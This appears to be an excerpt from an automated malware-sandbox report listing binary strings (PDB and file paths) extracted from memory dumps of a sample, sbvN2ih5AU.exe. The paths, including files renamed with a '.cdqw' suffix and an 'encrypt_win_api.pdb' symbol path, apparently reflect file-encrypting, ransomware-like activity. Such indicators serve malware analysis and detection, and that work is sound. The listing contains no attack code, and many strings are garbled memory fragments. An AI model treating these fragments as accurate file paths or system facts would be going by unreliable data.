Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: sbvN2ih5AU.exe, 00000004.00000003.2303473920.00000000039ED000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2305478829.00000000039F3000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2299316713.0000000003A01000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2304958924.00000000039ED000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb.cdqwqz source: sbvN2ih5AU.exe, 00000004.00000003.2224935531.00000000035CC000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2225126627.0000000003651000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\che\wasm\inR source: sbvN2ih5AU.exe, 00000004.00000003.2315515714.00000000038D7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\R source: sbvN2ih5AU.exe, 00000004.00000003.2249901230.0000000003669000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2224935531.00000000035CC000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2248204629.000000000364F000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2248950448.0000000003651000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2225126627.0000000003651000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ source: sbvN2ih5AU.exe, 00000004.00000003.2249901230.0000000003669000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2224935531.00000000035CC000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2248204629.000000000364F000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2248950448.0000000003651000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2225311251.000000000301B000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2225126627.0000000003651000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\bx\Ya source: sbvN2ih5AU.exe, 00000004.00000003.2316949358.00000000038B2000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2317458173.00000000038BA000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\*t\U source: sbvN2ih5AU.exe, 00000004.00000003.2001871627.0000000003003000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2225408846.0000000003001000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\[#-) source: sbvN2ih5AU.exe, 00000004.00000003.2274484738.000000000389B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\we\e\: source: sbvN2ih5AU.exe, 00000004.00000003.2267216698.0000000003560000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2267389311.00000000035AC000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2267769858.00000000035C0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\e\ source: sbvN2ih5AU.exe, 00000004.00000003.2303190844.00000000035F6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\FileTypePolicies\emp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: sbvN2ih5AU.exe, 00000004.00000003.2281756024.0000000003679000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2295087180.0000000003669000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: sbvN2ih5AU.exe, 00000004.00000003.2224935531.00000000035CC000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2225126627.0000000003651000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb.cdqw source: sbvN2ih5AU.exe, 00000004.00000003.2225076619.0000000003555000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2248436114.00000000035C4000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2248204629.0000000003560000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2225010475.000000000351C000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2225507378.000000000355F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\xyewy\a\ source: sbvN2ih5AU.exe, 00000004.00000003.2315575644.00000000036B1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\{ source: sbvN2ih5AU.exe, 00000004.00000003.2249901230.0000000003669000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2224935531.00000000035CC000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2248204629.000000000364F000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2248950448.0000000003651000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2225126627.0000000003651000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.People_8wekyb3d8bbwe\LocalCache\Data\Google\Chrome\User Data\FileTypePolicies\emp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: sbvN2ih5AU.exe, 00000004.00000003.2303190844.0000000003679000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2305172994.000000000367A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\a\* source: sbvN2ih5AU.exe, 00000004.00000003.2313309626.00000000038AA000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error.cdqw4 source: sbvN2ih5AU.exe, 00000004.00000003.2224935531.00000000035CC000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\bwe\INet<-u) source: sbvN2ih5AU.exe, 00000004.00000003.2315869908.000000000351B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\\28\u-,) source: sbvN2ih5AU.exe, 00000004.00000003.2315869908.000000000351B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: sbvN2ih5AU.exe, 00000004.00000003.2299316713.000000000397F000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2295852109.0000000003996000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error.cdqwjltKC1Ne_Y3fl1HuHQ2[1].css.cdqwcation Data\Application Data\Application Data\Packages\Mi) source: sbvN2ih5AU.exe, 00000004.00000003.2295430680.00000000036A2000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2295087180.0000000003669000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\a\\HBS., source: sbvN2ih5AU.exe, 00000004.00000003.2248204629.000000000364F000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2249849179.0000000003682000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2248950448.0000000003651000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ source: sbvN2ih5AU.exe, 00000004.00000003.2249901230.0000000003669000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2224935531.00000000035CC000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2248204629.000000000364F000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2248950448.0000000003651000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2225311251.000000000301B000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2225126627.0000000003651000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\ntkrnlmp.pdb\, source: sbvN2ih5AU.exe, 00000004.00000003.2225373099.0000000003534000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2036057819.000000000352F000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2225010475.000000000351C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ source: sbvN2ih5AU.exe, 00000004.00000003.2299316713.000000000397F000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2304222838.0000000003899000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\e\ source: sbvN2ih5AU.exe, 00000004.00000003.2250077493.000000000356D000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2248204629.0000000003560000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2248701465.0000000003563000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdbTENT_TASKBARHEADLINES.jsontxtV source: sbvN2ih5AU.exe, 00000004.00000003.2224935531.00000000035CC000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\t\m source: sbvN2ih5AU.exe, 00000004.00000003.2299148718.00000000038BB000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.errorogFile_October_3_2023__13_9_20.txtt source: sbvN2ih5AU.exe, 00000004.00000003.2224935531.00000000035CC000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\d8bbwe\LocalState\ source: sbvN2ih5AU.exe, 00000004.00000003.2036012673.000000000305E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\* source: sbvN2ih5AU.exe, 00000004.00000003.2225190557.0000000003039000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: sbvN2ih5AU.exe, 00000004.00000003.2249901230.0000000003669000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2224935531.00000000035CC000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2248204629.000000000364F000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2248950448.0000000003651000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2225126627.0000000003651000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.XboxApp_8wekyb3d8bbwe\emp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: sbvN2ih5AU.exe, 00000004.00000003.2267074228.0000000003669000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2273782470.0000000003679000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ source: sbvN2ih5AU.exe, 00000004.00000003.2295430680.00000000036A2000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2299045599.000000000390E000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2295087180.0000000003669000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: sers\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb.cdqw,, source: sbvN2ih5AU.exe, 00000004.00000003.2225408846.0000000002FDD000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: WINLOA~1.PDBwinload_prod.pdbeta90 source: sbvN2ih5AU.exe, 00000004.00000003.2225559443.0000000002FE7000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2225408846.0000000002FDD000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\s\T source: sbvN2ih5AU.exe, 00000004.00000003.2001871627.0000000003003000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2225408846.0000000003001000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: sbvN2ih5AU.exe, 00000004.00000003.2317228663.0000000003612000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000002.2321865681.0000000003654000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2315637192.000000000360F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\\ source: sbvN2ih5AU.exe, 00000004.00000003.2267862895.000000000302E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\,1 source: sbvN2ih5AU.exe, 00000004.00000003.2305346249.00000000038DF000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2303682242.00000000038CA000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\Data\A source: sbvN2ih5AU.exe, 00000004.00000003.2315575644.00000000036B1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\:$h"3 source: sbvN2ih5AU.exe, 00000004.00000003.2304222838.0000000003899000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: sbvN2ih5AU.exe, 00000004.00000003.2282223049.00000000038F6000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2283815069.000000000391F000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2283412651.00000000038F7000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2274484738.0000000003929000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\\ source: sbvN2ih5AU.exe, 00000004.00000003.2267354147.000000000304E000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2248836397.0000000003021000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2249195874.000000000302D000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2249249024.0000000003050000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2249500159.000000000305F000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2268368221.000000000305F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: sbvN2ih5AU.exe, 00000004.00000003.2267074228.0000000003669000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2248204629.000000000364F000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2248623027.00000000036BE000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2249026361.00000000036CE000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2267182272.00000000036E6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ source: sbvN2ih5AU.exe, 00000004.00000003.2299316713.000000000397F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: sbvN2ih5AU.exe, 00000004.00000003.2224935531.00000000035CC000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2225126627.0000000003651000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\*\ source: sbvN2ih5AU.exe, 00000004.00000003.2225408846.0000000003001000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: sbvN2ih5AU.exe, 00000004.00000003.2299316713.000000000397F000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2295852109.0000000003996000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\bD""- source: sbvN2ih5AU.exe, 00000004.00000003.2313309626.00000000038AA000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2309196065.00000000038A2000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb.cdqwvg=i source: sbvN2ih5AU.exe, 00000004.00000003.2224935531.00000000035CC000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2225126627.0000000003651000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: sbvN2ih5AU.exe, 00000004.00000003.2282473786.000000000368A000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2282801832.0000000003021000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2295430680.00000000036A2000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2282733106.000000000300F000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2281756024.0000000003679000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2295087180.0000000003669000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\Af;/1 source: sbvN2ih5AU.exe, 00000004.00000003.2274484738.00000000038B2000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\tion Da source: sbvN2ih5AU.exe, 00000004.00000003.2315515714.00000000038D7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\e source: sbvN2ih5AU.exe, 00000004.00000003.2282525794.0000000003541000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2274850530.0000000003516000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2274918914.000000000353C000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2283228453.000000000354E000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2282870353.0000000003546000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2274967030.0000000003546000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\winload_prod.pdb\ source: sbvN2ih5AU.exe, 00000004.00000003.2225373099.0000000003534000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2036057819.000000000352F000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2225010475.000000000351C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ source: sbvN2ih5AU.exe, 00000004.00000003.2303473920.00000000039ED000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2303910315.000000000359B000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2305478829.00000000039F3000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2309491163.00000000035AC000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2304958924.00000000039ED000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: sbvN2ih5AU.exe, 00000004.00000003.2303473920.00000000039ED000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2305478829.00000000039F3000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2299316713.0000000003A01000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2304958924.00000000039ED000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb source: sbvN2ih5AU.exe, sbvN2ih5AU.exe, 00000004.00000002.2319914633.0000000000400000.00000040.00000400.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000005.00000002.1693753075.00000000025E0000.00000040.00001000.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000006.00000002.2927187768.0000000000400000.00000040.00000400.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000009.00000002.1813253516.0000000002620000.00000040.00001000.00020000.00000000.sdmp, sbvN2ih5AU.exe, 0000000A.00000002.1834461472.0000000000400000.00000040.00000400.00020000.00000000.sdmp, sbvN2ih5AU.exe, 0000000C.00000002.1887517098.00000000027E0000.00000040.00001000.00020000.00000000.sdmp, sbvN2ih5AU.exe, 0000000D.00000002.1897177575.0000000000400000.00000040.00000400.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\1> source: sbvN2ih5AU.exe, 00000004.00000003.2283714637.0000000003011000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2283285886.0000000003010000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2282733106.000000000300F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\v source: sbvN2ih5AU.exe, 00000004.00000003.2282473786.000000000368A000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2274431291.000000000369A000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2276405853.00000000036CE000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2273782470.0000000003679000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2276057122.00000000036BE000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2281756024.0000000003679000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2275943924.00000000036A1000.00000004.00000020.00020000.00000000.sdmp
